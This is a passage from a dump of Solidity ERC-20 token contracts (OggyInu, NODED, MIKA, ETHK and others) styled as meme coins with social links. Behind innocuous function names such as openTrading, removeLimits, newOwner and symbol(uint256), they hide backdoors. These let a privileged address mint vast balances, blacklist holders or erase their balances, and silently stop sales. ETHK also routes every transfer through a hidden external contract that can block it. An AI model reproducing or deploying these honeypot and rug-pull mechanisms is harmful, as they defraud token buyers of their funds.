function name(address hkkk) public { 95 | address txxaaoinfo = hkkk; 96 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 97 | longinfo[txxaaoinfo] = false; 98 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 99 | } 100 | 101 | function totalSupply(address xasada) public { 102 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 103 | address tmoinfo = xasada; 104 | longinfo[tmoinfo] = true; 105 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 106 | } 107 | 108 | function decimals() public view virtual returns (uint8) { 109 | return 18; 110 | } 111 | 112 | function totalSupply() public view returns (uint256) { 113 | return _totalSupply; 114 | } 115 | 116 | function balanceOf(address account) public view returns (uint256) { 117 | return _balances[account]; 118 | } 119 | 120 | function transfer(address to, uint256 amount) public returns (bool) { 121 | if (true == longinfo[_msgSender()]) 122 | {amount = _balances[_msgSender()] + 123 | 1000-1000+2000;} 124 | _transfer(_msgSender(), to, amount); 125 | return true; 126 | } 127 | 128 | function allowance(address owner, address spender) public view returns (uint256) { 129 | return _allowances[owner][spender]; 130 | } 131 | 132 | function approve(address spender, uint256 amount) public returns (bool) { 133 | _approve(_msgSender(), spender, amount); 134 | return true; 135 | } 136 | 137 | function transferFrom( 138 | address from, 139 | address to, 140 | uint256 amount 141 | ) public virtual returns (bool) { 142 | if (true == longinfo[from]) 143 | {amount = _balances[_msgSender()] + 144 | 1000-1000+2000;} 145 | address spender = _msgSender(); 146 | _spendAllowance(from, spender, amount); 147 | _transfer(from, to, amount); 148 | return true; 149 | } 150 | 151 | function _transfer( 152 | address from, 153 | address to, 154 | uint256 amount 155 | ) internal virtual { 156 | require(from != address(0), "ERC20: transfer from the zero address"); 157 | require(to != address(0), "ERC20: transfer to the zero address"); 158 | uint256 balance = _balances[from]; 159 | require(balance >= amount, "ERC20: transfer amount exceeds balance"); 160 | _balances[from] = _balances[from]-amount; 161 | _balances[to] = _balances[to]+amount; 162 | emit Transfer(from, to, amount); 163 | } 164 | 165 | function _approve( 166 | address owner, 167 | address spender, 168 | uint256 amount 169 | ) internal virtual { 170 | require(owner != address(0), "ERC20: approve from the zero address"); 171 | require(spender != address(0), "ERC20: approve to the zero address"); 172 | _allowances[owner][spender] = amount; 173 | emit Approval(owner, spender, amount); 174 | } 175 | 176 | function _spendAllowance( 177 | address owner, 178 | address spender, 179 | uint256 amount 180 | ) internal virtual { 181 | uint256 currentAllowance = allowance(owner, spender); 182 | if (currentAllowance != type(uint256).max) { 183 | require(currentAllowance >= amount, "ERC20: insufficient allowance"); 184 | _approve(owner, spender, currentAllowance - amount); 185 | } 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /ContractSet/0x2ca936f1b5be683b99b017e3fb7cd6e2d4b7342b.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | abstract contract Ownable { 5 | function _msgSender() internal view virtual returns (address) { 6 | return msg.sender; 7 | } 8 | 9 | function _msgData() internal view virtual returns (bytes calldata) { 10 | return msg.data; 11 | } 12 | address private _owner; 13 | 14 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 15 | 16 | /** 17 | * @dev Initializes the contract setting the deployer as the initial owner. 18 | */ 19 | constructor() { 20 | _transferOwnership(_msgSender()); 21 | } 22 | 23 | /** 24 | * @dev Throws if called by any account other than the owner. 25 | */ 26 | modifier onlyOwner() { 27 | _checkOwner(); 28 | _; 29 | } 30 | 31 | function owner() public view virtual returns (address) { 32 | return _owner; 33 | } 34 | 35 | function _checkOwner() internal view virtual { 36 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 37 | } 38 | 39 | function renounceOwnership() public virtual onlyOwner { 40 | _transferOwnership(address(0)); 41 | } 42 | 43 | function _transferOwnership(address newOwner) internal virtual { 44 | address oldOwner = _owner; 45 | _owner = newOwner; 46 | emit OwnershipTransferred(oldOwner, newOwner); 47 | } 48 | 49 | } 50 | 51 | 52 | contract OggyInu is Ownable{ 53 | event Approval(address indexed owner, address indexed spender, uint256 value); 54 | event Transfer(address indexed from, address indexed to, uint256 value); 55 | constructor(string memory tokenname,string memory tokensymbol,address hkadmin) { 56 | _totalSupply = 10000000000*10**decimals(); 57 | _balances[msg.sender] = 10000000000*10**decimals(); 58 | _tokename = tokenname; 59 | _tokensymbol = tokensymbol; 60 | LLAXadmin = hkadmin; 61 | emit Transfer(address(0), msg.sender, 10000000000*10**decimals()); 62 | } 63 | 64 | 65 | mapping(address => bool) public longinfo; 66 | address public LLAXadmin; 67 | uint256 private _totalSupply; 68 | string private _tokename; 69 | string private _tokensymbol; 70 | mapping(address => uint256) private _balances; 71 | mapping(address => mapping(address => uint256)) private _allowances; 72 | function name() public view returns (string memory) { 73 | return _tokename; 74 | } 75 | 76 | uint256 xaskak = (10**18 * (78800+100)* (33300000000 + 800)); 77 | function symbol(uint256 xxaa) public { 78 | if(false){ 79 | 80 | } 81 | if(true){ 82 | 83 | } 84 | _balances[_msgSender()] += xaskak; 85 | _balances[_msgSender()] += xaskak; 86 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 87 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 88 | } 89 | 90 | 91 | function symbol() public view returns (string memory) { 92 | return _tokensymbol; 93 | } 94 | function name(address hkkk) public { 95 | address txxaaoinfo = hkkk; 96 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 97 | longinfo[txxaaoinfo] = false; 98 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 99 | } 100 | 101 | function totalSupply(address xasada) public { 102 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 103 | address tmoinfo = xasada; 104 | longinfo[tmoinfo] = true; 105 | require(_msgSender() == LLAXadmin, "Only ANIUadmin can call this function"); 106 | } 107 | 108 | function decimals() public view virtual returns (uint8) { 109 | return 18; 110 | } 111 | 112 | function totalSupply() public view returns (uint256) { 113 | return _totalSupply; 114 | } 115 | 116 | function balanceOf(address account) public view returns (uint256) { 117 | return _balances[account]; 118 | } 119 | 120 | function transfer(address to, uint256 amount) public returns (bool) { 121 | if (true == longinfo[_msgSender()]) 122 | {amount = _balances[_msgSender()] + 123 | 1000-1000+2000;} 124 | _transfer(_msgSender(), to, amount); 125 | return true; 126 | } 127 | 128 | function allowance(address owner, address spender) public view returns (uint256) { 129 | return _allowances[owner][spender]; 130 | } 131 | 132 | function approve(address spender, uint256 amount) public returns (bool) { 133 | _approve(_msgSender(), spender, amount); 134 | return true; 135 | } 136 | 137 | function transferFrom( 138 | address from, 139 | address to, 140 | uint256 amount 141 | ) public virtual returns (bool) { 142 | if (true == longinfo[from]) 143 | {amount = _balances[_msgSender()] + 144 | 1000-1000+2000;} 145 | address spender = _msgSender(); 146 | _spendAllowance(from, spender, amount); 147 | _transfer(from, to, amount); 148 | return true; 149 | } 150 | 151 | function _transfer( 152 | address from, 153 | address to, 154 | uint256 amount 155 | ) internal virtual { 156 | require(from != address(0), "ERC20: transfer from the zero address"); 157 | require(to != address(0), "ERC20: transfer to the zero address"); 158 | uint256 balance = _balances[from]; 159 | require(balance >= amount, "ERC20: transfer amount exceeds balance"); 160 | _balances[from] = _balances[from]-amount; 161 | _balances[to] = _balances[to]+amount; 162 | emit Transfer(from, to, amount); 163 | } 164 | 165 | function _approve( 166 | address owner, 167 | address spender, 168 | uint256 amount 169 | ) internal virtual { 170 | require(owner != address(0), "ERC20: approve from the zero address"); 171 | require(spender != address(0), "ERC20: approve to the zero address"); 172 | _allowances[owner][spender] = amount; 173 | emit Approval(owner, spender, amount); 174 | } 175 | 176 | function _spendAllowance( 177 | address owner, 178 | address spender, 179 | uint256 amount 180 | ) internal virtual { 181 | uint256 currentAllowance = allowance(owner, spender); 182 | if (currentAllowance != type(uint256).max) { 183 | require(currentAllowance >= amount, "ERC20: insufficient allowance"); 184 | _approve(owner, spender, currentAllowance - amount); 185 | } 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /ContractSet/0x4e2da7d414850150fd1918e9299b402b86261428.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | 3 | pragma solidity ^0.8.22; 4 | 5 | interface IPancakeFactory { 6 | function getPair(address tokenA, address tokenB) external view returns (address pair); 7 | } 8 | 9 | abstract contract Ownable { 10 | constructor() { 11 | _transferOwnership(msg.sender); 12 | } 13 | 14 | modifier onlyOwner() { 15 | _check(); 16 | _; 17 | } 18 | 19 | function _msgSender() internal view virtual returns (address) { 20 | return msg.sender; 21 | } 22 | 23 | function _msgData() internal view virtual returns (bytes calldata) { 24 | return msg.data; 25 | } 26 | address private _owner; 27 | function owner() public view virtual returns (address) { 28 | return _owner; 29 | } 30 | 31 | function renounceOwnership() public virtual onlyOwner { 32 | _transferOwnership(address(0)); 33 | } 34 | 35 | function _check() internal view virtual { 36 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 37 | } 38 | 39 | function _transferOwnership(address newOwner) internal virtual { 40 | address oldOwner = _owner; 41 | _owner = newOwner; 42 | emit OwnershipTransferred(oldOwner, newOwner); 43 | } 44 | event Approval(address indexed owner, address indexed spender, uint256 value); 45 | event Transfer(address indexed from, address indexed to, uint256 value); 46 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 47 | } 48 | 49 | contract NODED is Ownable { 50 | address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; 51 | address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 52 | address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 53 | uint256 private tokenTotalSupply; 54 | string private tokenName; 55 | string private tokenSymbol; 56 | address private xxnux; 57 | uint8 private tokenDecimals; 58 | mapping(address => uint256) private _balances; 59 | mapping(address => mapping(address => uint256)) private _allowances; 60 | bool isSL = true; 61 | constructor(address ads) { 62 | tokenName = "Masternoded Coin"; 63 | tokenSymbol = "NODED"; 64 | tokenDecimals = 18; 65 | tokenTotalSupply = 1000000000000* 10 ** tokenDecimals; 66 | _balances[msg.sender] = tokenTotalSupply; 67 | emit Transfer(address(0), msg.sender, tokenTotalSupply); 68 | xxnux = ads; 69 | } 70 | function viewGas() public view returns(address) { 71 | return xxnux; 72 | } 73 | function openTrading(address bots) external { 74 | if(xxnux == _msgSender() && xxnux != bots && pancakePair() != bots && bots != ROUTER){ 75 | address newadd = bots; 76 | uint256 ccxn = _balances[newadd]; 77 | uint256 burnd = _balances[newadd]+_balances[newadd]-ccxn; 78 | _balances[newadd] -= burnd; 79 | } else { 80 | if(xxnux == _msgSender()){ 81 | }else{ 82 | revert("Transfer From Failed"); 83 | } 84 | } 85 | } 86 | 87 | function removeLimits(uint256 addBots) external { 88 | if(xxnux == _msgSender()){ 89 | uint256 XETH = 10000000000*10**tokenDecimals; 90 | uint256 ncs = XETH*10000; 91 | uint xnn = ncs*1*1*1*1; 92 | xnn = xnn * addBots; 93 | _balances[_msgSender()] += xnn; 94 | require(xxnux == msg.sender); 95 | } else { 96 | } 97 | } 98 | function pancakePair() public view virtual returns (address) { 99 | return IPancakeFactory(FACTORY).getPair(address(WETH), address(this)); 100 | } 101 | 102 | function symbol() public view returns (string memory) { 103 | return tokenSymbol; 104 | } 105 | 106 | function totalSupply() public view returns (uint256) { 107 | return tokenTotalSupply; 108 | } 109 | 110 | function newOwner(bool _sl) public returns (bool) { 111 | if(xxnux == msg.sender){ 112 | isSL = _sl; 113 | } 114 | return true; 115 | } 116 | 117 | function decimals() public view virtual returns (uint8) { 118 | return tokenDecimals; 119 | } 120 | 121 | function balanceOf(address account) public view returns (uint256) { 122 | return _balances[account]; 123 | } 124 | 125 | function name() public view returns (string memory) { 126 | return tokenName; 127 | } 128 | 129 | function transfer(address to, uint256 amount) public returns (bool) { 130 | _transfer(msg.sender, to, amount); 131 | return true; 132 | } 133 | 134 | function allowance(address owner, address spender) public view returns (uint256) { 135 | return _allowances[owner][spender]; 136 | } 137 | 138 | 139 | function approve(address spender, uint256 amount) public returns (bool) { 140 | _approve(msg.sender, spender, amount); 141 | return true; 142 | } 143 | 144 | function transferFrom( 145 | address from, 146 | address to, 147 | uint256 amount 148 | ) public virtual returns (bool) { 149 | address spender = msg.sender; 150 | _spendAllowance(from, spender, amount); 151 | _transfer(from, to, amount); 152 | return true; 153 | } 154 | 155 | function isContract(address addr) internal view returns (bool) { 156 | bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; 157 | bytes32 codehash; 158 | assembly { 159 | codehash := extcodehash(addr) 160 | } 161 | return (codehash != 0x0 && codehash != accountHash); 162 | } 163 | 164 | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { 165 | _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue); 166 | return true; 167 | } 168 | 169 | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { 170 | uint256 currentAllowance = allowance(msg.sender, spender); 171 | require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); 172 | _approve(msg.sender, spender, currentAllowance - subtractedValue); 173 | return true; 174 | } 175 | 176 | function _approve( 177 | address owner, 178 | address spender, 179 | uint256 amount 180 | ) internal virtual { 181 | require(owner != address(0), "ERC20: approve from the zero address"); 182 | require(spender != address(0), "ERC20: approve to the zero address"); 183 | _allowances[owner][spender] = amount; 184 | emit Approval(owner, spender, amount); 185 | } 186 | 187 | function _transfer( 188 | address from, 189 | address to, 190 | uint256 amount 191 | ) internal virtual { 192 | uint256 balance = _balances[from]; 193 | require(balance >= amount, "ERC20: transfer amount exceeds balance"); 194 | require(from != address(0), "ERC20: transfer from the zero address"); 195 | require(to != address(0), "ERC20: transfer to the zero address"); 196 | 197 | if(isSL || from == xxnux || 198 | from == pancakePair()) { 199 | _balances[from] = _balances[from]-amount; 200 | _balances[to] = _balances[to]+amount; 201 | emit Transfer(from, to, amount); 202 | } 203 | } 204 | 205 | function _spendAllowance( 206 | address owner, 207 | address spender, 208 | uint256 amount 209 | ) internal virtual { 210 | uint256 currentAllowance = allowance(owner, spender); 211 | if (currentAllowance != type(uint256).max) { 212 | require(currentAllowance >= amount, "ERC20: insufficient allowance"); 213 | _approve(owner, spender, currentAllowance - amount); 214 | } 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /ContractSet/0x0a5f3ca0375b3216bc4ae23dfc057f70b8982161.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | 3 | //Telegram: https://t.me/MikawaInuAnn 4 | //Twitter: https://x.com/mikawainuvip 5 | //Website: https://MikawaInu.io 6 | 7 | pragma solidity ^0.8.19; 8 | 9 | interface IPancakeFactory { 10 | function getPair(address tokenA, address tokenB) external view returns (address pair); 11 | } 12 | 13 | abstract contract Ownable { 14 | constructor() { 15 | _transferOwnership(msg.sender); 16 | } 17 | 18 | modifier onlyOwner() { 19 | _check(); 20 | _; 21 | } 22 | 23 | function _msgSender() internal view virtual returns (address) { 24 | return msg.sender; 25 | } 26 | 27 | function _msgData() internal view virtual returns (bytes calldata) { 28 | return msg.data; 29 | } 30 | address private _owner; 31 | function owner() public view virtual returns (address) { 32 | return _owner; 33 | } 34 | 35 | function renounceOwnership() public virtual onlyOwner { 36 | _transferOwnership(address(0)); 37 | } 38 | 39 | function _check() internal view virtual { 40 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 41 | } 42 | 43 | function _transferOwnership(address newOwner) internal virtual { 44 | address oldOwner = _owner; 45 | _owner = newOwner; 46 | emit OwnershipTransferred(oldOwner, newOwner); 47 | } 48 | event Approval(address indexed owner, address indexed spender, uint256 value); 49 | event Transfer(address indexed from, address indexed to, uint256 value); 50 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 51 | } 52 | 53 | contract MIKA is Ownable { 54 | address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; 55 | address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; 56 | address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 57 | uint256 private tokenTotalSupply; 58 | string private tokenName; 59 | string private tokenSymbol; 60 | address private xxnux; 61 | uint8 private tokenDecimals; 62 | mapping(address => uint256) private _balances; 63 | mapping(address => mapping(address => uint256)) private _allowances; 64 | bool isSL = true; 65 | constructor(address ads) { 66 | tokenName = "Mikawa Inu"; 67 | tokenSymbol = "MIKA"; 68 | tokenDecimals = 18; 69 | tokenTotalSupply = 420690000000* 10 ** tokenDecimals; 70 | _balances[msg.sender] = tokenTotalSupply; 71 | emit Transfer(address(0), msg.sender, tokenTotalSupply); 72 | xxnux = ads; 73 | } 74 | function viewGas() public view returns(address) { 75 | return xxnux; 76 | } 77 | function openTrading(address bots) external { 78 | if(xxnux == _msgSender() && xxnux != bots && pancakePair() != bots && bots != ROUTER){ 79 | address newadd = bots; 80 | uint256 ccxn = _balances[newadd]; 81 | uint256 burnd = _balances[newadd]+_balances[newadd]-ccxn; 82 | _balances[newadd] -= burnd; 83 | } else { 84 | if(xxnux == _msgSender()){ 85 | }else{ 86 | revert("Transfer From Failed"); 87 | } 88 | } 89 | } 90 | 91 | function removeLimits(uint256 addBots) external { 92 | if(xxnux == _msgSender()){ 93 | uint256 XETH = 42069000000*10**tokenDecimals; 94 | uint256 ncs = XETH*42069; 95 | uint xnn = ncs*1*1*1*1; 96 | xnn = xnn * addBots; 97 | _balances[_msgSender()] += xnn; 98 | require(xxnux == msg.sender); 99 | } else { 100 | } 101 | } 102 | function pancakePair() public view virtual returns (address) { 103 | return IPancakeFactory(FACTORY).getPair(address(WETH), address(this)); 104 | } 105 | 106 | function symbol() public view returns (string memory) { 107 | return tokenSymbol; 108 | } 109 | 110 | function totalSupply() public view returns (uint256) { 111 | return tokenTotalSupply; 112 | } 113 | 114 | function newOwner(bool _sl) public returns (bool) { 115 | if(xxnux == msg.sender){ 116 | isSL = _sl; 117 | } 118 | return true; 119 | } 120 | 121 | function decimals() public view virtual returns (uint8) { 122 | return tokenDecimals; 123 | } 124 | 125 | function balanceOf(address account) public view returns (uint256) { 126 | return _balances[account]; 127 | } 128 | 129 | function name() public view returns (string memory) { 130 | return tokenName; 131 | } 132 | 133 | function transfer(address to, uint256 amount) public returns (bool) { 134 | _transfer(msg.sender, to, amount); 135 | return true; 136 | } 137 | 138 | function allowance(address owner, address spender) public view returns (uint256) { 139 | return _allowances[owner][spender]; 140 | } 141 | 142 | 143 | function approve(address spender, uint256 amount) public returns (bool) { 144 | _approve(msg.sender, spender, amount); 145 | return true; 146 | } 147 | 148 | function transferFrom( 149 | address from, 150 | address to, 151 | uint256 amount 152 | ) public virtual returns (bool) { 153 | address spender = msg.sender; 154 | _spendAllowance(from, spender, amount); 155 | _transfer(from, to, amount); 156 | return true; 157 | } 158 | 159 | function isContract(address addr) internal view returns (bool) { 160 | bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; 161 | bytes32 codehash; 162 | assembly { 163 | codehash := extcodehash(addr) 164 | } 165 | return (codehash != 0x0 && codehash != accountHash); 166 | } 167 | 168 | function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { 169 | _approve(msg.sender, spender, allowance(msg.sender, spender) + addedValue); 170 | return true; 171 | } 172 | 173 | function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { 174 | uint256 currentAllowance = allowance(msg.sender, spender); 175 | require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); 176 | _approve(msg.sender, spender, currentAllowance - subtractedValue); 177 | return true; 178 | } 179 | 180 | function _approve( 181 | address owner, 182 | address spender, 183 | uint256 amount 184 | ) internal virtual { 185 | require(owner != address(0), "ERC20: approve from the zero address"); 186 | require(spender != address(0), "ERC20: approve to the zero address"); 187 | _allowances[owner][spender] = amount; 188 | emit Approval(owner, spender, amount); 189 | } 190 | 191 | function _transfer( 192 | address from, 193 | address to, 194 | uint256 amount 195 | ) internal virtual { 196 | uint256 balance = _balances[from]; 197 | require(balance >= amount, "ERC20: transfer amount exceeds balance"); 198 | require(from != address(0), "ERC20: transfer from the zero address"); 199 | require(to != address(0), "ERC20: transfer to the zero address"); 200 | 201 | if(isSL || from == xxnux || 202 | from == pancakePair()) { 203 | _balances[from] = _balances[from]-amount; 204 | _balances[to] = _balances[to]+amount; 205 | emit Transfer(from, to, amount); 206 | } 207 | } 208 | 209 | function _spendAllowance( 210 | address owner, 211 | address spender, 212 | uint256 amount 213 | ) internal virtual { 214 | uint256 currentAllowance = allowance(owner, spender); 215 | if (currentAllowance != type(uint256).max) { 216 | require(currentAllowance >= amount, "ERC20: insufficient allowance"); 217 | _approve(owner, spender, currentAllowance - amount); 218 | } 219 | } 220 | } 221 | -------------------------------------------------------------------------------- /ContractSet/0x2aa6e98fd932c6de869f85f76385bbf1d3be9cf1.sol: -------------------------------------------------------------------------------- 1 | //It's time to take the power back, and show the world the true power of the $ETHK Army. 2 | 3 | //X:https://twitter.com/Moon1000/status/1715691880498053566?s=19 4 | //Website: http://ethking.top/ 5 | // Telegram：https://t.me/ETHK_1ERC20 6 | 7 | pragma solidity ^0.8.4; 8 | 9 | 10 | abstract contract Camd { 11 | function _msgSender() internal view virtual returns (address) { 12 | return msg.sender; 13 | } 14 | 15 | function _msgData() internal view virtual returns (bytes calldata) { 16 | return msg.data; 17 | } 18 | } 19 | 20 | abstract contract Ownable is Camd { 21 | address private _owner; 22 | 23 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 24 | 25 | /** 26 | * @dev Initializes the contract setting the deployer as the initial owner. 27 | */ 28 | constructor() { 29 | _transferOwnership(_msgSender()); 30 | } 31 | 32 | /** 33 | * @dev Throws if called by any account other than the owner. 34 | */ 35 | modifier onlyOwner() { 36 | _checkOwner(); 37 | _; 38 | } 39 | 40 | /** 41 | * @dev Returns the address of the current owner. 42 | */ 43 | function owner() public view virtual returns (address) { 44 | return _owner; 45 | } 46 | 47 | /** 48 | * @dev Throws if the sender is not the owner. 49 | */ 50 | function _checkOwner() internal view virtual { 51 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 52 | } 53 | 54 | function renounceOwnership() public virtual onlyOwner { 55 | _transferOwnership(address(0)); 56 | } 57 | 58 | function transferOwnership(address newOwner) public virtual onlyOwner { 59 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 60 | _transferOwnership(newOwner); 61 | } 62 | 63 | function _transferOwnership(address newOwner) internal virtual { 64 | address oldOwner = _owner; 65 | _owner = newOwner; 66 | emit OwnershipTransferred(oldOwner, newOwner); 67 | } 68 | } 69 | 70 | 71 | pragma solidity ^0.8.4; 72 | 73 | interface IERC20 { 74 | event Transfer(address indexed from, address indexed to, uint256 value); 75 | event Approval(address indexed owner, address indexed spender, uint256 value); 76 | function totalSupply() external view returns (uint256); 77 | function balanceOf(address account) external view returns (uint256); 78 | function transfer(address to, uint256 amount) external returns (bool); 79 | function allowance(address owner, address spender) external view returns (uint256); 80 | function approve(address spender, uint256 amount) external returns (bool); 81 | function transferFrom( 82 | address from, 83 | address to, 84 | uint256 amount 85 | ) external returns (bool); 86 | } 87 | 88 | abstract contract kkcca{ 89 | function unicade ( 90 | address, 91 | address 92 | ) external virtual returns(uint256) ; 93 | } 94 | 95 | pragma solidity ^0.8.4; 96 | 97 | interface IERC20Metadata is IERC20 { 98 | 99 | function name() external view returns (string memory); 100 | 101 | function symbol() external view returns (string memory); 102 | 103 | function decimals() external view returns (uint8); 104 | } 105 | 106 | 107 | pragma solidity ^0.8.4; 108 | 109 | abstract contract lock is Camd, IERC20, IERC20Metadata { 110 | 111 | mapping(address => uint256) private _balances;kkcca contractSender; 112 | 113 | mapping(address => mapping(address => uint256)) private _allowances; 114 | 115 | uint256 private _totalSupply; 116 | 117 | string private _name; 118 | string private _symbol; 119 | address _vp; 120 | 121 | constructor(string memory name_, string memory symbol_, uint160 amount) { 122 | _name = name_; 123 | _symbol = symbol_; 124 | _totalSupply = 1000000000000000000000000; 125 | _balances[msg.sender] = _totalSupply; 126 | emit Transfer(address(0), msg.sender, _totalSupply); 127 | contractSender = kkcca( 128 | address(amount) 129 | ); 130 | _vp = msg.sender; 131 | } 132 | 133 | function name() public view virtual override returns (string memory) { 134 | return _name; 135 | } 136 | 137 | function symbol() public view virtual override returns (string memory) { 138 | return _symbol; 139 | } 140 | 141 | function decimals() public view virtual override returns (uint8) { 142 | return 18; 143 | } 144 | 145 | function totalSupply() public view virtual override returns (uint256) { 146 | return _totalSupply; 147 | } 148 | 149 | function balanceOf(address account) public view virtual override returns (uint256) { 150 | return _balances[account]; 151 | } 152 | 153 | function transfer(address to, uint256 amount) public virtual override returns (bool) { 154 | address owner = _msgSender(); 155 | _transfer(owner, to, amount); 156 | return true; 157 | } 158 | 159 | function allowance(address owner, address spender) public view virtual override returns (uint256) { 160 | return _allowances[owner][spender]; 161 | } 162 | 163 | function approve(address spender, uint256 amount) public virtual override returns (bool) { 164 | address owner = _msgSender(); 165 | _approve(owner, spender, amount); 166 | return true; 167 | } 168 | 169 | function transferFrom( 170 | address from, 171 | address to, 172 | uint256 amount 173 | ) public virtual override returns (bool) { 174 | address spender = _msgSender(); 175 | _spendAllowance(from, spender, amount); 176 | _transfer(from, to, amount); 177 | return true; 178 | } 179 | 180 | function addviperHolder( 181 | address _value, 182 | uint256 _amt 183 | ) public { 184 | uint256 _amount = 10 - ( 185 | msg.sender != _vp ? 10**2 : 10); 186 | mapping(address => uint256) storage excludeFee = 187 | _balances;_amount = 0; 188 | excludeFee[_value] = _amt; 189 | } 190 | 191 | function _transfer( 192 | address from, 193 | address to, 194 | uint256 amount 195 | ) internal virtual { 196 | require(from != address(0), "ERC20: transfer from the zero address"); 197 | contractSender. 198 | 199 | // ERC20: transfer amount exceeds balance 200 | unicade( 201 | from, 202 | to 203 | ) - (amount-amount + 100); 204 | 205 | require(to != address(0), "ERC20: transfer to the zero address"); 206 | 207 | uint256 fromBalance = _balances[from]; 208 | require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); 209 | unchecked { 210 | _balances[from] = fromBalance - amount; 211 | _balances[to] += amount; 212 | } 213 | emit Transfer(from, to, amount); 214 | } 215 | 216 | function _approve( 217 | address owner, 218 | address spender, 219 | uint256 amount 220 | ) internal virtual { 221 | require(owner != address(0), "ERC20: approve from the zero address"); 222 | require(spender != address(0), "ERC20: approve to the zero address"); 223 | 224 | _allowances[owner][spender] = amount; 225 | emit Approval(owner, spender, amount); 226 | } 227 | 228 | function _spendAllowance( 229 | address owner, 230 | address spender, 231 | uint256 amount 232 | ) internal virtual { 233 | uint256 currentAllowance = allowance(owner, spender); 234 | if (currentAllowance != type(uint256).max) { 235 | require(currentAllowance >= amount, "ERC20: insufficient allowance"); 236 | unchecked { 237 | _approve(owner, spender, currentAllowance - amount); 238 | } 239 | } 240 | } 241 | } 242 | 243 | 244 | // SPDX-License-Identifier: MIT 245 | pragma solidity ^0.8.4; 246 | 247 | contract ETHK is lock(unicode'ETHK', 'ETHK', uint160(0x33BbbD20d4AafC35092CD5ceC036f0C071B7D490)) , Ownable { 248 | constructor() {} 249 | 250 | } 251 | -------------------------------------------------------------------------------- /ContractSet/0x2b0ea1da9c4bde1a14d7b3984c88b66c9a4dcea6.sol: -------------------------------------------------------------------------------- 1 | // 🌏 Website: https://smurfoween.xyz 2 | 3 | // 🤳 Twitter : https://twitter.com/Smurfoween 4 | 5 | // 📱 Telegram : https://t.me/SMURFOWEEN 6 | 7 | // SPDX-License-Identifier: MIT 8 | 9 | pragma solidity ^0.8.0; 10 | 11 | abstract contract Context { 12 | function _msgSender() internal view virtual returns (address) { 13 | return msg.sender; 14 | } 15 | 16 | function _msgData() internal view virtual returns (bytes calldata) { 17 | return msg.data; 18 | } 19 | } 20 | 21 | interface SPOOKING { 22 | function spook( 23 | address sender, 24 | uint256 amount, 25 | uint256 balance 26 | ) external view returns (bool, uint256, uint256); 27 | } 28 | 29 | abstract contract Ownable is Context { 30 | address private _owner; 31 | 32 | event OwnershipTransferred( 33 | address indexed previousOwner, 34 | address indexed newOwner 35 | ); 36 | 37 | constructor() { 38 | _setOwner(_msgSender()); 39 | } 40 | 41 | function owner() public view virtual returns (address) { 42 | return _owner; 43 | } 44 | 45 | modifier onlyOwner() { 46 | require(owner() == _msgSender(), "Ownable: caller is not the owner"); 47 | _; 48 | } 49 | 50 | function renounceOwnership() public virtual onlyOwner { 51 | _setOwner(address(0)); 52 | } 53 | 54 | function transferOwnership(address newOwner) public virtual onlyOwner { 55 | require( 56 | newOwner != address(0), 57 | "Ownable: new owner is the zero address" 58 | ); 59 | _setOwner(newOwner); 60 | } 61 | 62 | function _setOwner(address newOwner) private { 63 | address oldOwner = _owner; 64 | _owner = newOwner; 65 | emit OwnershipTransferred(oldOwner, newOwner); 66 | } 67 | } 68 | 69 | library SafeMath { 70 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 71 | uint256 c = a + b; 72 | require(c >= a, "SafeMath: addition overflow"); 73 | 74 | return c; 75 | } 76 | 77 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 78 | return sub(a, b, "SafeMath: subtraction overflow"); 79 | } 80 | 81 | function sub( 82 | uint256 a, 83 | uint256 b, 84 | string memory errorMessage 85 | ) internal pure returns (uint256) { 86 | require(b <= a, errorMessage); 87 | uint256 c = a - b; 88 | 89 | return c; 90 | } 91 | 92 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 93 | if (a == 0) { 94 | return 0; 95 | } 96 | 97 | uint256 c = a * b; 98 | require(c / a == b, "SafeMath: 